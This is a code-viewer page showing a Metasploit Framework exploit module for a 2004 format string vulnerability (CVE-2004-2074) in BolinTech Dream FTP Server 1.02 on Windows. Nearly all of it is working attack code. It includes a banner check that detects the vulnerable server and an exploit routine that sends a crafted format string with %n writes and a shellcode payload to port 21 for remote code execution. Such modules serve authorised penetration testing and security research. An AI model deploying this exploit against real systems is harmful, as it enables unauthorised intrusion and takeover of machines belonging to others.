Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/ftp/dreamftp_format.rb
19592 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GoodRanking
8
9
include Msf::Exploit::Remote::Tcp
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'BolinTech Dream FTP Server 1.02 Format String',
16
'Description' => %q{
17
This module exploits a format string overflow in the BolinTech
18
Dream FTP Server version 1.02. Based on the exploit by SkyLined.
19
},
20
'Author' => [ 'aushack' ],
21
'Arch' => [ ARCH_X86 ],
22
'License' => MSF_LICENSE,
23
'References' => [
24
[ 'CVE', '2004-2074'],
25
[ 'OSVDB', '4986'],
26
[ 'BID', '9800'],
27
[ 'EDB', '823']
28
],
29
'Platform' => ['win'],
30
'Privileged' => false,
31
'Payload' => {
32
'Space' => 1000,
33
'BadChars' => "\x00\x0a\x0d",
34
'StackAdjustment' => -3500,
35
},
36
'Targets' => [
37
# Patrick - Tested OK 2007/09/10 against w2ksp0, w2ksp4 en.
38
[
39
'Dream FTP Server v1.02 Universal',
40
{
41
'Offset' => 3957680, # 0x3c63ff-0x4f
42
}
43
],
44
],
45
'DisclosureDate' => '2004-03-03',
46
'DefaultTarget' => 0,
47
'Notes' => {
48
'Reliability' => UNKNOWN_RELIABILITY,
49
'Stability' => UNKNOWN_STABILITY,
50
'SideEffects' => UNKNOWN_SIDE_EFFECTS
51
}
52
)
53
)
54
55
register_options(
56
[
57
Opt::RPORT(21),
58
]
59
)
60
end
61
62
def check
63
connect
64
banner = sock.get_once
65
disconnect
66
if (banner.to_s =~ /Dream FTP Server/)
67
return Exploit::CheckCode::Detected
68
end
69
70
return Exploit::CheckCode::Safe
71
end
72
73
def exploit
74
connect
75
select(nil, nil, nil, 0.25)
76
sploit = "\xeb\x29"
77
sploit << "%8x%8x%8x%8x%8x%8x%8x%8x%" + target['Offset'].to_s + "d%n%n"
78
sploit << "@@@@@@@@" + payload.encoded
79
sock.put(sploit + "\r\n")
80
select(nil, nil, nil, 0.25)
81
handler
82
disconnect
83
end
84
end
85
86